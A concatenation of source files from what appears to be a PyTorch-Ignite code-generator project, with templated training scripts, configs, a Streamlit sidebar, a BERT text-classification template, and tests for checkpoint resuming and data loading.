hash_checkpoint(checkpoint, True, tmp_path) scripted_model = torch.jit.load(hashed_fp) assert hashed_fp.name == f"squeezenet1_0-{sha_hash[:8]}.ptc" def test_resume_from_url(tmp_path, caplog): logger = logging.getLogger() logging.basicConfig(level=logging.INFO) checkpoint_fp = "https://download.pytorch.org/models/squeezenet1_0-b66bff10.pth" model = torch.hub.load("pytorch/vision", "squeezenet1_0") to_load = {"model": model} with caplog.at_level(logging.INFO): resume_from(to_load, checkpoint_fp, logger, model_dir=tmp_path) assert "Successfully resumed from a checkpoint" in caplog.messages[0], "checkpoint fail to load" def test_resume_from_fp(tmp_path, caplog): logger = logging.getLogger() logging.basicConfig(level=logging.INFO) torch.hub.download_url_to_file( "https://download.pytorch.org/models/squeezenet1_0-b66bff10.pth", f"{tmp_path}/squeezenet1_0.pt", ) checkpoint_fp = f"{tmp_path}/squeezenet1_0.pt" model = torch.hub.load("pytorch/vision", "squeezenet1_0") to_load = {"model": model} with caplog.at_level(logging.INFO): resume_from(to_load, checkpoint_fp, logger) assert "Successfully resumed from a checkpoint" in caplog.messages[0], "checkpoint fail to load" torch.hub.download_url_to_file( "https://download.pytorch.org/models/squeezenet1_0-b66bff10.pth", f"{tmp_path}/squeezenet1_0.pt", ) checkpoint_fp = Path(f"{tmp_path}/squeezenet1_0.pt") model = torch.hub.load("pytorch/vision", "squeezenet1_0") to_load = {"model": model} with caplog.at_level(logging.INFO): resume_from(to_load, checkpoint_fp, logger) assert "Successfully resumed from a checkpoint" in caplog.messages[0], "checkpoint fail to load" def test_resume_from_error(): with pytest.raises(FileNotFoundError, match=r"Given \w+ does not exist"): resume_from({}, "abcdef/", None) --- FILE SEPARATOR --- {% extends "_argparse.py" %} {% block get_default_parser %} UPDATES = { # training options "max_epochs": { "default": 5, "type": int, "help": "max_epochs of ignite.Engine.run() for training. Default: %(default)s", } } DEFAULTS.update(UPDATES) {{ super() }} {% endblock %} --- FILE SEPARATOR --- # MAKE SURE YOUR DATASETS ARE DOWNLOADING ON LOCAL_RANK 0. import ignite.distributed as idist def get_datasets(*args, **kwargs): local_rank = idist.get_local_rank() if local_rank > 0: # Ensure that only rank 0 download the dataset idist.barrier() # CUSTOM DATASETS GO HERE train_dataset = ... eval_dataset = ... if local_rank == 0: # Ensure that only rank 0 download the dataset idist.barrier() return train_dataset, eval_dataset --- FILE SEPARATOR --- """ main entrypoint training """ from argparse import ArgumentParser from datetime import datetime from pathlib import Path from typing import Any import ignite.distributed as idist from config import get_default_parser from datasets import get_datasets from ignite.engine.events import Events from ignite.utils import manual_seed from trainers import TrainEvents, create_trainers from utils import ( get_handlers, get_logger, initialize, log_basic_info, log_metrics, resume_from, setup_logging, ) def run(local_rank: int, config: Any, *args: Any, **kwargs: Any): """function to be run by idist.Parallel context manager.""" # ---------------------- # make a certain seed # ---------------------- rank = idist.get_rank() manual_seed(config.seed + rank) # ----------------------- # create output folder # ----------------------- if rank == 0: now = datetime.now().strftime("%Y%m%d-%H%M%S") name = f"{config.dataset}-backend-{idist.backend()}-{now}" path = Path(config.output_dir, name) path.mkdir(parents=True, exist_ok=True) config.output_dir = path.as_posix() config.output_dir = Path(idist.broadcast(config.output_dir, src=0)) # ----------------------------- # datasets and dataloaders # ----------------------------- # TODO : PLEASE provide your custom datasets and dataloaders configurations # we can use `idist.auto_dataloader` to handle distributed configurations # TODO : PLEASE replace `kwargs` with your desirable DataLoader arguments # See : https://pytorch.org/ignite/distributed.html#ignite.distributed.auto.auto_dataloader train_dataset, eval_dataset = get_datasets() train_dataloader = idist.auto_dataloader(train_dataset, **kwargs) eval_dataloader = idist.auto_dataloader(eval_dataset, **kwargs) # ------------------------------------------ # model, optimizer, loss function, device # ------------------------------------------ device = idist.device() model, optimizer, loss_fn, lr_scheduler = initialize() # ----------------------------- # trainer and evaluator # ----------------------------- trainer, evaluator = create_trainers( config=config, model=model, optimizer=optimizer, loss_fn=loss_fn, device=device, ) # ------------------------------------------- # update config with optimizer parameters # setup engines logger with python logging # print training configurations # ------------------------------------------- config.__dict__.update(**optimizer.defaults) logger = setup_logging(config) log_basic_info(logger, config) trainer.logger = logger evaluator.logger = logger # ------------------------------------- # ignite handlers and ignite loggers # ------------------------------------- to_save = {"model": model, "optimizer": optimizer, "trainer": trainer, "lr_scheduler": lr_scheduler} best_model_handler, es_handler, timer_handler = get_handlers( config=config, model=model, trainer=trainer, evaluator=evaluator, metric_name=None, # TODO : replace with the metric name to save the best model # if you check `Save the best model by evaluation score` otherwise leave it None # metric must be in evaluator.state.metrics. es_metric_name=None, # TODO : replace with the metric name to early stop # if you check `Early stop the training by evaluation score` otherwise leave it None # metric must be in evaluator.state.metrics. to_save=to_save, lr_scheduler=lr_scheduler, output_names=None, ) # setup ignite logger only on rank 0 if rank == 0: logger_handler = get_logger( config=config, trainer=trainer, evaluator=evaluator, optimizers=optimizer ) # ----------------------------------- # resume from the saved checkpoints # ----------------------------------- if config.resume_from: resume_from(to_load=to_save, checkpoint_fp=config.resume_from) # -------------------------------------------- # let's trigger custom events we registered # we will use a `event_filter` to trigger that # `event_filter` has to return boolean # whether this event should be executed # here will log the gradients on the 1st iteration # and every 100 iterations # -------------------------------------------- @trainer.on(TrainEvents.BACKWARD_COMPLETED(lambda _, ev: (ev % 100 == 0) or (ev == 1))) def _(): # do something interesting pass # ---------------------------------------- # here we will use `every` to trigger # every 100 iterations # ---------------------------------------- @trainer.on(TrainEvents.OPTIM_STEP_COMPLETED(every=100)) def _(): # do something interesting pass # -------------------------------- # print metrics to the stderr # with `add_event_handler` API # for training stats # -------------------------------- trainer.add_event_handler(Events.ITERATION_COMPLETED(every=config.log_every_iters), log_metrics, tag="train") # --------------------------------------------- # run evaluation at every training epoch end # with shortcut `on` decorator API and # print metrics to the stderr # again with `add_event_handler` API # for evaluation stats # --------------------------------------------- @trainer.on(Events.EPOCH_COMPLETED(every=1)) def _(): evaluator.run(eval_dataloader, epoch_length=config.eval_epoch_length) log_metrics(evaluator, "eval") # -------------------------------------------------- # let's try run evaluation first as a sanity check # -------------------------------------------------- @trainer.on(Events.STARTED) def _(): evaluator.run(eval_dataloader, epoch_length=config.eval_epoch_length) # ------------------------------------------ # setup if done. let's run the training # ------------------------------------------ # TODO : PLEASE provide `max_epochs` parameters trainer.run(train_dataloader, max_epochs=config.max_epochs, epoch_length=config.train_epoch_length) # ------------------------------------------------------------ # close the logger after the training completed / terminated # ------------------------------------------------------------ if rank == 0: from ignite.contrib.handlers.wandb_logger import WandBLogger if isinstance(logger_handler, WandBLogger): # why handle differently for wandb ? # See : https://github.com/pytorch/ignite/issues/1894 logger_handler.finish() elif logger_handler: logger_handler.close() # ----------------------------------------- # where is my best and last checkpoint ? # ----------------------------------------- if best_model_handler is not None: logger.info("Last and best checkpoint: %s", best_model_handler.last_checkpoint) def main(): parser = ArgumentParser(parents=[get_default_parser()]) config = parser.parse_args() with idist.Parallel( backend=config.backend, {% if use_distributed_training and not use_distributed_launcher %} nproc_per_node=config.nproc_per_node, {% if nnodes > 1 and not use_distributed_launcher%} node_rank=config.node_rank, nnodes=config.nnodes, master_addr=config.master_addr, master_port=config.master_port, {% endif %} {% endif %} ) as parallel: parallel.run(run, config=config) if __name__ == "__main__": main() --- FILE SEPARATOR --- # CUSTOM MODELS GO HERE --- FILE SEPARATOR --- import sys import streamlit as st sys.path.append("./templates") from _base._sidebar import ( default_none_options, distributed_options, ignite_handlers_options, ignite_loggers_options, test_all_options, ) def get_configs() -> dict: config = {} config["train_epoch_length"] = None config["eval_epoch_length"] = None default_none_options(config) with st.beta_expander("Text Classification Template Configurations", expanded=True): st.info("Names in the parenthesis are variable names used in the generated code.") st.subheader("Model Options") config["model"] = st.selectbox( "Model name (from transformers) to setup model, tokenize and config to train (model)", options=["bert-base-uncased"], ) config["model_dir"] = st.text_input("Cache directory to download the pretrained model (model_dir)", value="./") config["tokenizer_dir"] = st.text_input("Tokenizer cache directory (tokenizer_dir)", value="./tokenizer") config["num_classes"] = st.number_input( "Number of target classes. Default, 1 (binary classification) (num_classes)", min_value=0, value=1 ) config["max_length"] = st.number_input( "Maximum number of tokens for the inputs to the transformer model (max_length)", min_value=1, value=256 ) config["dropout"] = st.number_input( "Dropout probability (dropout)", min_value=0.0, max_value=1.0, value=0.3, format="%f" ) config["n_fc"] = st.number_input( "Number of neurons in the last fully connected layer (n_fc)", min_value=1, value=768 ) st.markdown("---") st.subheader("Dataset Options") config["data_dir"] = st.text_input("Dataset cache directory (data_dir)", value="./") st.markdown("---") st.subheader("DataLoader Options") config["batch_size"] = st.number_input("Total batch size (batch_size)", min_value=1, value=4) config["num_workers"] = st.number_input( "Number of workers in the data loader (num_workers)", min_value=1, value=2 ) st.markdown("---") st.subheader("Optimizer Options") config["learning_rate"] = st.number_input( "Peak of piecewise linear learning rate scheduler", min_value=0.0, value=5e-5, format="%e" ) config["weight_decay"] = st.number_input("Weight decay", min_value=0.0, value=0.01, format="%f") st.markdown("---") st.subheader("Training Options") config["max_epochs"] = st.number_input("Number of epochs to train the model", min_value=1, value=3) config["num_warmup_epochs"] = st.number_input( "Number of warm-up epochs before learning rate decay", min_value=0, value=0 ) config["validate_every"] = st.number_input( "Run model's validation every validate_every epochs", min_value=0, value=1 ) config["checkpoint_every"] = st.number_input( "Store training checkpoint every checkpoint_every iterations", min_value=0, value=1000 ) config["log_every_iters"] = st.number_input( "Argument to log batch loss every log_every_iters iterations. 0 to disable it", min_value=0, value=15 ) st.markdown("---") distributed_options(config) ignite_handlers_options(config) ignite_loggers_options(config) test_all_options(config) return config --- FILE SEPARATOR --- {% extends "_argparse.py" %} {% block imports %}{% endblock %} {% block defaults %} {{ super() }} UPDATES = { "data_dir": { "default": "{{ data_dir }}", "type": str, "help": "Dataset cache directory. Default: %(default)s", }, "model": { "default": "{{ model }}", "type": str, "choices": ["bert-base-uncased"], "help": "Model name (from transformers) to setup model, tokenize and config to train. Default: %(default)s", }, "model_dir": { "default": "{{ model_dir }}", "type": str, "help": "Cache directory to download the pretrained model. Default: %(default)s", }, "tokenizer_dir": { "default": "{{ tokenizer_dir }}", "type": str, "help": "Tokenizer cache directory. Default: %(default)s", }, "num_classes": { "default": {{ num_classes }}, "type": int, "help": "Number of target classes. Default: %(default)s", }, "dropout": { "default": {{ dropout }}, "type": float, "help": "Dropout probability. Default: %(default)s", }, "n_fc": { "default": {{ n_fc }}, "type": int, "help": "Number of neurons in the last fully connected layer. Default: %(default)s", }, "max_length": { "default": {{ max_length }}, "type": int, "help": "Maximum number of tokens for the inputs to the transformer model. Default: %(default)s", }, "batch_size": { "default": {{ batch_size }}, "type": int, "help": "Total batch size. Default: %(default)s", }, "weight_decay": { "default": {{ weight_decay }}, "type": float, "help": "Weight decay. Default: %(default)s", }, "num_workers": { "default": {{ num_workers }}, "type": int, "help": "Number of workers in the data loader. Default: %(default)s", }, "max_epochs": { "default": {{ max_epochs }}, "type": int, "help": "Number of epochs to train the model. Default: %(default)s", }, "learning_rate": { "default": {{ learning_rate }}, "type": float, "help": "Peak of piecewise linear learning rate scheduler. Default: %(default)s", }, "num_warmup_epochs": { "default": {{ num_warmup_epochs }}, "type": int, "help": "Number of warm-up epochs before learning rate decay. Default: %(default)s", }, "validate_every": { "default": {{ validate_every }}, "type": int, "help": "Run model's validation every validate_every epochs. Default: %(default)s", }, "checkpoint_every": { "default": {{ checkpoint_every }}, "type": int, "help": "Store training checkpoint every checkpoint_every iterations. Default: %(default)s", }, "log_every_iters": { "default": {{ log_every_iters }}, "type": int, "help": "Argument to log batch loss every log_every_iters iterations. 0 to disable it. Default: %(default)s", }, } DEFAULTS.update(UPDATES) {% endblock %} {% block get_default_parser %}{% endblock %} --- FILE SEPARATOR --- import ignite.distributed as idist import torch from datasets import load_dataset from torch.utils.data import Dataset from transformers import AutoTokenizer class TransformerDataset(Dataset): def __init__(self, texts, labels, tokenizer, max_length): self.texts = texts self.labels = labels self.tokenizer = tokenizer self.max_length = max_length def __getitem__(self, idx): text = str(self.texts[idx]) text = " ".join(text.split()) inputs = self.tokenizer.encode_plus( text, None, add_special_tokens=True, max_length=self.max_length, truncation=True ) ids = inputs["input_ids"] token_type_ids = inputs["token_type_ids"] mask = inputs["attention_mask"] padding_length = self.max_length - len(ids) ids = ids + ([0] * padding_length) mask = mask + ([0] * padding_length) token_type_ids = token_type_ids + ([0] * padding_length) return { "input_ids": torch.tensor(ids, dtype=torch.long), "attention_mask": torch.tensor(mask, dtype=torch.long), "token_type_ids": torch.tensor(token_type_ids, dtype=torch.long), "label": torch.tensor(self.labels[idx], dtype=torch.float), } def __len__(self): return len(self.labels) def get_tokenizer(tokenizer_name, tokenizer_dir): tokenizer = AutoTokenizer.from_pretrained(tokenizer_name, cache_dir=tokenizer_dir, do_lower_case=True) return tokenizer def get_dataset(cache_dir, tokenizer_name, tokenizer_dir, max_length): train_dataset, test_dataset = load_dataset("imdb", split=["train", "test"], cache_dir=cache_dir) tokenizer = get_tokenizer(tokenizer_name, tokenizer_dir) train_texts, train_labels = train_dataset["text"], train_dataset["label"] test_texts, test_labels = test_dataset["text"], test_dataset["label"] train_dataset = TransformerDataset(train_texts, train_labels, tokenizer, max_length) test_dataset = TransformerDataset(test_texts, test_labels, tokenizer, max_length) return train_dataset, test_dataset def get_dataflow(config): # - Get train/test datasets if idist.get_local_rank() > 0: # Ensure that only rank 0 download the dataset idist.barrier() train_dataset, test_dataset = get_dataset( config.data_dir, config.model, config.tokenizer_dir, config.max_length ) if idist.get_local_rank() == 0: # Ensure that only rank 0 download the dataset idist.barrier() # Setup data loader also adapted to distributed config: nccl, gloo, xla-tpu train_loader = idist.auto_dataloader( train_dataset, batch_size=config.batch_size, num_workers=config.num_workers, shuffle=True, drop_last=True, {% if use_distributed_training and not use_distributed_launcher %} persistent_workers = True, {% endif %} ) test_loader = idist.auto_dataloader( test_dataset, batch_size=2 * config.batch_size, num_workers=config.num_workers, shuffle=False, {% if use_distributed_training and not use_distributed_launcher %} persistent_workers = True, {% endif %} ) return train_loader, test_loader --- FILE SEPARATOR --- import os from argparse import ArgumentParser from datetime import datetime from pathlib import Path import ignite import ignite.distributed as idist import torch import torch.nn as nn import torch.optim as optim from config import DEFAULTS from dataset import get_dataflow from ignite.contrib.handlers import PiecewiseLinear from ignite.engine import Events from ignite.metrics import Accuracy, Loss from ignite.utils import manual_seed from models import get_model from trainers import create_trainers from utils import ( get_default_parser, get_handlers, get_logger, log_basic_info, log_metrics, resume_from, setup_logging, thresholded_output_transform, ) os.environ["TOKENIZERS_PARALLELISM"] = "false" # remove tokenizer parallelism warning def initialize(config): model = get_model(config.model, config.model_dir, config.dropout, config.n_fc, config.num_classes) config.learning_rate *= idist.get_world_size() # Adapt model for distributed settings if configured model = idist.auto_model(model) optimizer = optim.AdamW(model.parameters(), lr=config.learning_rate, weight_decay=config.weight_decay) optimizer = idist.auto_optim(optimizer) loss_fn = nn.BCEWithLogitsLoss() le = config.num_iters_per_epoch milestones_values = [ (0, 0.0), (le * config.num_warmup_epochs, config.learning_rate), (le * config.max_epochs, 0.0), ] lr_scheduler = PiecewiseLinear(optimizer, param_name="lr", milestones_values=milestones_values) return model, optimizer, loss_fn, lr_scheduler def run(local_rank, config): # ---------------------- # Make a certain seed # ---------------------- rank = idist.get_rank() manual_seed(config.seed + rank) device = idist.device() # ----------------------- # Create output folder # ----------------------- if rank == 0: now = datetime.now().strftime("%Y%m%d-%H%M%S") name = f"{config.model}-backend-{idist.backend()}-{now}" path = Path(config.output_dir, name) path.mkdir(parents=True, exist_ok=True) config.output_dir = path.as_posix() config.output_dir = Path(idist.broadcast(config.output_dir, src=0)) # ----------------------------- # datasets and dataloaders # ----------------------------- train_loader, test_loader = get_dataflow(config) # ------------------------------------------ # model, optimizer, loss function, device # ------------------------------------------ config.num_iters_per_epoch = len(train_loader) model, optimizer, loss_fn, lr_scheduler = initialize(config) # ----------------------------- # trainer and evaluator # ----------------------------- trainer, evaluator = create_trainers( config=config, model=model, optimizer=optimizer, loss_fn=loss_fn, device=device, ) # --------------------------------- # attach metrics to evaluator # --------------------------------- metrics = { "eval_accuracy": Accuracy(output_transform=thresholded_output_transform, device=device), "eval_loss": Loss(loss_fn, device=device), } for name, metric in metrics.items(): metric.attach(evaluator, name) # ------------------------------------------- # setup engines logger with python logging # print training configurations # ------------------------------------------- logger = setup_logging(config) log_basic_info(logger, config) trainer.logger = logger evaluator.logger = logger # ------------------------------------- # ignite handlers and ignite loggers # ------------------------------------- to_save = {"model": model, "optimizer": optimizer, "trainer": trainer, "lr_scheduler": lr_scheduler} best_model_handler, es_handler, timer_handler = get_handlers( config=config, model=model, trainer=trainer, evaluator=evaluator, metric_name="eval_accuracy", es_metric_name="eval_accuracy", to_save=to_save, lr_scheduler=lr_scheduler, output_names=None, ) # setup ignite logger only on rank 0 if rank == 0: logger_handler = get_logger( config=config, trainer=trainer, evaluator=evaluator, optimizers=optimizer ) # ----------------------------------- # resume from the saved checkpoints # ----------------------------------- if config.resume_from: resume_from(to_load=to_save, checkpoint_fp=config.resume_from) # -------------------------------- # print metrics to the stderr # with `add_event_handler` API # for training stats # -------------------------------- trainer.add_event_handler(Events.ITERATION_COMPLETED(every=config.log_every_iters), log_metrics, tag="train") # --------------------------------------------- # run evaluation at every training epoch end # with shortcut `on` decorator API and # print metrics to the stderr # again with `add_event_handler` API # for evaluation stats # --------------------------------------------- @trainer.on(Events.EPOCH_COMPLETED(every=config.validate_every)) def _(): evaluator.run(test_loader, epoch_length=config.eval_epoch_length) log_metrics(evaluator, tag="eval") # -------------------------------------------------- # let's try run evaluation first as a sanity check # -------------------------------------------------- @trainer.on(Events.STARTED) def _(): evaluator.run(test_loader, epoch_length=config.eval_epoch_length) # ------------------------------------------ # setup if done. let's run the training # ------------------------------------------ trainer.run(train_loader, max_epochs=config.max_epochs, epoch_length=config.train_epoch_length) # ------------------------------------------------------------ # close the logger after the training completed / terminated # ------------------------------------------------------------ if rank == 0: from ignite.contrib.handlers.wandb_logger import WandBLogger if isinstance(logger_handler, WandBLogger): # why handle differently for wandb ? # See : https://github.com/pytorch/ignite/issues/1894 logger_handler.finish() elif logger_handler: logger_handler.close() # ----------------------------------------- # where is my best and last checkpoint ? # ----------------------------------------- if best_model_handler is not None: logger.info("Last and best checkpoint: %s", best_model_handler.last_checkpoint) def main(): parser = ArgumentParser(parents=[get_default_parser(DEFAULTS)]) config = parser.parse_args() with idist.Parallel( backend=config.backend, {% if use_distributed_training and not use_distributed_launcher %} nproc_per_node=config.nproc_per_node, {% if nnodes > 1 and not use_distributed_launcher %} node_rank=config.node_rank, nnodes=config.nnodes, master_addr=config.master_addr, master_port=config.master_port, {% endif %} {% endif %} ) as parallel: parallel.run(run, config) if __name__ == "__main__": main() --- FILE SEPARATOR --- import os from argparse import Namespace from numbers import Number from typing import Iterable import ignite.distributed as idist import pytest import torch from dataset import get_dataflow, get_dataset from ignite.contrib.handlers.param_scheduler import ParamScheduler from main import initialize from torch import nn, optim from torch.functional import Tensor from torch.optim.lr_scheduler import _LRScheduler from torch.utils.data import DataLoader, Dataset def set_up(): model = nn.Linear(1, 1) optimizer = optim.Adam(model.parameters()) device = idist.device() loss_fn = nn.MSELoss() return model, optimizer, loss_fn, device def test_initialize(): config = Namespace( model="bert-base-uncased", model_dir="/tmp", dropout=0.3, n_fc=768, num_classes=1, learning_rate=1e-3, weight_decay=1e-4, num_iters_per_epoch=1, num_warmup_epochs=1, max_epochs=1, ) model, optimizer, loss_fn, lr_scheduler = initialize(config) assert isinstance(model, nn.Module) assert isinstance(optimizer, optim.Optimizer) assert isinstance(loss_fn, nn.Module) assert isinstance(lr_scheduler, (_LRScheduler, ParamScheduler)) @pytest.mark.skipif(os.getenv("RUN_SLOW_TESTS", 0) == 0, reason="Skip slow tests") def test_get_dataflow(): config = Namespace( data_dir="/tmp/data", model="bert-base-uncased", tokenizer_dir="/tmp/tokenizer", max_length=1, batch_size=1, num_workers=1, ) train_loader, test_loader = get_dataflow(config) assert isinstance(train_loader, DataLoader) assert isinstance(test_loader, DataLoader) @pytest.mark.skipif(os.getenv("RUN_SLOW_TESTS", 0) == 0, reason="Skip slow tests") def test_get_dataset(): cache_dir = "/tmp" tokenizer_name = "bert-base-uncased" tokenizer_dir = "/tmp" max_length = 256 train_ds, eval_ds = get_dataset(cache_dir, tokenizer_name, tokenizer_dir, max_length) assert isinstance(train_ds, Dataset) assert isinstance(eval_ds, Dataset) train_batch = next(iter(train_ds)) assert isinstance(train_batch, Iterable) assert isinstance(train_batch["input_ids"], Tensor) assert isinstance(train_batch["attention_mask"], Tensor) assert isinstance(train_batch["token_type_ids"], Tensor) assert isinstance(train_batch["label"], Tensor) eval_batch = next(iter(eval_ds)) assert isinstance(eval_batch["input_ids"], Tensor) assert isinstance(eval_batch["attention_mask"], Tensor) assert isinstance(eval_batch["token_type_ids"], Tensor) assert isinstance(eval_batch["label"], Tensor) --- FILE SEPARATOR --- from typing import Tuple import torch from ignite.engine import Engine from torch.cuda.amp import GradScaler, autocast def create_trainer(config, model, optimizer, loss_fn, device): use_amp = config.use_amp scaler = GradScaler(enabled=use_amp) def train_step(engine, batch): input_ids = batch["input_ids"] attention_mask = batch["attention_mask"] token_type_ids = batch["token_type_ids"] labels = batch["label"].view(-1, 1) if input_ids.device != device: input_ids = input_ids.to(device, non_blocking=True, dtype=torch.long) attention_mask = attention_mask.to(device, non_blocking=True, dtype=torch.long) token_type_ids = token_type_ids.to(device, non_blocking=True, dtype=torch.long) labels = labels.to(device, non_blocking=True, dtype=torch.float) model.train() with autocast(enabled=use_amp): y_pred = model(input_ids, attention_mask, token_type_ids) loss = loss_fn(y_pred, labels) optimizer.zero_grad() scaler.scale(loss).backward() scaler.step(optimizer) scaler.update() loss_value = loss.item() engine.state.metrics = {"epoch": engine.state.epoch, "train_loss": loss_value} return loss_value trainer = Engine(train_step) return trainer def create_evaluator(config, model, loss_fn, device): use_amp = config.use_amp @torch.no_grad() def evaluate_step(engine, batch): model.eval() input_ids = batch["input_ids"] attention_mask = batch["attention_mask"] token_type_ids = batch["token_type_ids"] labels = batch["label"].view(-1, 1) if input_ids.device != device: input_ids = input_ids.to(device, non_blocking=True, dtype=torch.long) attention_mask = attention_mask.to(device, non_blocking=True, dtype=torch.long) token_type_ids = token_type_ids.to(device, non_blocking=True, dtype=torch.long) labels = labels.to(device, non_blocking=True, dtype=torch.float) with autocast(enabled=use_amp): outputs = model(input_ids, attention_mask, token_type_ids) loss = loss_fn(outputs, labels) loss_value = loss.item() engine.state.metrics = {"eval_loss": loss_value} return outputs, labels evaluator = Engine(evaluate_step) return evaluator # function for creating engines which will be used in main.py # any necessary arguments can be provided. def create_trainers(config, model, optimizer, loss_fn, device) -> Tuple[Engine, Engine]: """Create Engines for training and evaluation. Returns ------- trainer, evaluator """ trainer = create_trainer(config, model, optimizer, loss_fn, device) evaluator = create_evaluator(config, model, loss_fn, device) return trainer, evaluator --- FILE SEPARATOR --- import logging from argparse import ArgumentParser from pathlib import Path from pprint import pformat from typing import Any, Mapping, Optional, Tuple, Union import ignite import ignite.distributed as idist import torch from ignite.engine import Engine from ignite.handlers.checkpoint import Checkpoint from ignite.utils import setup_logger {% include "_handlers.py" %} def thresholded_output_transform(output): y_pred, y = output return torch.round(torch.sigmoid(y_pred)), y def setup_logging(config: Any) -> logging.Logger: """Setup logger with `ignite.utils.setup_logger()`. Parameters ---------- config config object. config has to contain `verbose` and `output_dir` attributes. Returns ------- logger an instance of `Logger` """ green = "\033[32m" reset = "\033[0m" logger = setup_logger( name=f"{green}[ignite]{reset}", level=logging.INFO if config.verbose else logging.WARNING, format="%(name)s: %(message)s", filepath=config.output_dir / "training-info.log", ) return logger def log_metrics(engine: Engine, tag: str) -> None: """Log `engine.state.metrics` with given `engine` and `tag`. Parameters ---------- engine instance of `Engine` which metrics to log. tag a string to add at the start of output. """ metrics_format = "{0} [{1}/{2}]: {3}".format(tag, engine.state.epoch, engine.state.iteration, engine.state.metrics) engine.logger.info(metrics_format) def log_basic_info(logger: logging.Logger, config: Any) -> None: """Logging about pytorch, ignite, configurations, gpu system distributed settings. Parameters ---------- logger Logger instance for logging config config object to log """ import ignite logger.info("PyTorch version: %s", torch.__version__) logger.info("Ignite version: %s", ignite.__version__) if torch.cuda.is_available(): # explicitly import cudnn as # torch.backends.cudnn can not be pickled with hvd spawning procs from torch.backends import cudnn logger.info("GPU device: %s", torch.cuda.get_device_name(idist.get_local_rank())) logger.info("CUDA version: %s", torch.version.cuda) logger.info("CUDNN version: %s", cudnn.version()) logger.info("Configuration: %s", pformat(vars(config))) if idist.get_world_size() > 1: logger.info("distributed configuration: %s", idist.model_name()) logger.info("backend: %s", idist.backend()) logger.info("device: %s", idist.device().type) logger.info("hostname: %s", idist.hostname()) logger.info("world size: %s", idist.get_world_size()) logger.info("rank: %s", idist.get_rank()) logger.info("local rank: %s", idist.get_local_rank()) logger.info("num processes per node: %s", idist.get_nproc_per_node()) logger.info("num nodes: %s", idist.get_nnodes()) logger.info("node rank: %s", idist.get_node_rank()) def get_default_parser(defaults): parser = ArgumentParser(add_help=False) for key, value in defaults.items(): parser.add_argument(f"--{key}", **value) return parser def resume_from( to_load: Mapping, checkpoint_fp: Union[str, Path], logger: logging.Logger, strict: bool = True, model_dir: Optional[str] = None, ) -> None: """Loads state dict from a checkpoint file to resume the training. Parameters ---------- to_load a dictionary with objects, e.g. {“model”: model, “optimizer”: optimizer, ...} checkpoint_fp path to the checkpoint file logger to log info about resuming from a checkpoint strict whether to strictly enforce that the keys in `state_dict` match the keys returned by this module’s `state_dict()` function. Default: True model_dir directory in which to save the object """ if isinstance(checkpoint_fp, str) and checkpoint_fp.startswith("https://"): checkpoint = torch.hub.load_state_dict_from_url( checkpoint_fp, model_dir=model_dir, map_location="cpu", check_hash=True ) else: if isinstance(checkpoint_fp, str): checkpoint_fp = Path(checkpoint_fp) if not checkpoint_fp.exists(): raise FileNotFoundError(f"Given {str(checkpoint_fp)} does not exist.") checkpoint = torch.load(checkpoint_fp, map_location="cpu") Checkpoint.load_objects(to_load=to_load, checkpoint=checkpoint, strict=strict) logger.info("Successfully resumed from a checkpoint: %s", checkpoint_fp) --- FILE SEPARATOR --- import shutil import sys from pathlib import Path def generate(): """Example run.""" sys.path.append("./app") from codegen import CodeGenerator from utils import import_from_file for p in Path("./templates").iterdir(): if p.is_dir() and not p.stem.startswith("_"): sys.path.append(f"./templates/{p.stem}") dist_dir = "./tests/dist" configs = import_from_file("template_config", f"./templates/{p.stem}/_sidebar.py").get_configs() configs["setup_timer"] = True configs["test_all"] = True code_gen = CodeGenerator(dist_dir=dist_dir) [*code_gen.render_templates(p.stem, configs)] code_gen.make_and_write(p.stem, Path(dist_dir)) shutil.copy(p / "_test_internal.py", f"{dist_dir}/{p.stem}") def generate_for_dist_launch(): sys.path.append("./app") from codegen import CodeGenerator from utils import import_from_file for p in Path("./templates").iterdir(): if p.is_dir() and not p.stem.startswith("_"): sys.path.append(f"./templates/{p.stem}") dist_dir = "./tests/dist/launch" configs = import_from_file("template_config", f"./templates/{p.stem}/_sidebar.py").get_configs() configs["use_distributed_training"] = True configs["use_distributed_launcher"] = True configs["setup_timer"] = True configs["test_all"] = True configs["nnodes"] = 1 code_gen = CodeGenerator(dist_dir=dist_dir) [*code_gen.render_templates(p.stem, configs)] code_gen.make_and_write(p.stem, Path(dist_dir)) shutil.copy(p / "_test_internal.py", f"{dist_dir}/{p.stem}") def generate_for_dist_spawn(): sys.path.append("./app") from codegen import CodeGenerator from utils import import_from_file for p in Path("./templates").iterdir(): if p.is_dir() and not p.stem.startswith("_"): sys.path.append(f"./templates/{p.stem}") dist_dir = "./tests/dist/spawn" configs = import_from_file("template_config", f"./templates/{p.stem}/_sidebar.py").get_configs() configs["use_distributed_training"] = True configs["use_distributed_launcher"] = False configs["setup_timer"] = True configs["test_all"] = True configs["nnodes"] = 1 code_gen = CodeGenerator(dist_dir=dist_dir) [*code_gen.render_templates(p.stem, configs)] code_gen.make_and_write(p.stem, Path(dist_dir)) shutil.copy(p / "_test_internal.py", f"{dist_dir}/{p.stem}") if __name__ == "__main__": generate() generate_for_dist_launch() generate_for_dist_spawn()
[ "/app/codegen.py", "/app/streamlit_app.py", "/app/utils.py", "/templates/_base/_argparse.py", "/templates/_base/_events.py", "/templates/_base/_handlers.py", "/templates/_base/_sidebar.py", "/templates/gan/_sidebar.py", "/templates/gan/config.py", "/templates/gan/datasets.py", "/templates/gan/main.py", "/templates/gan/models.py", "/templates/gan/test_all.py", "/templates/gan/trainers.py", "/templates/image_classification/_sidebar.py", "/templates/image_classification/_test_internal.py", "/templates/image_classification/config.py", "/templates/image_classification/datasets.py", "/templates/image_classification/models.py", "/templates/image_classification/test_all.py", "/templates/image_classification/trainers.py", "/templates/single/_sidebar.py", "/templates/single/_test_internal.py", "/templates/single/config.py", "/templates/single/datasets.py", "/templates/single/main.py", "/templates/single/models.py", "/templates/text_classification/_sidebar.py", "/templates/text_classification/config.py", "/templates/text_classification/dataset.py", "/templates/text_classification/main.py", "/templates/text_classification/test_all.py", "/templates/text_classification/trainers.py", "/templates/text_classification/utils.py", "/tests/generate.py" ]
0xDigest/simplecache
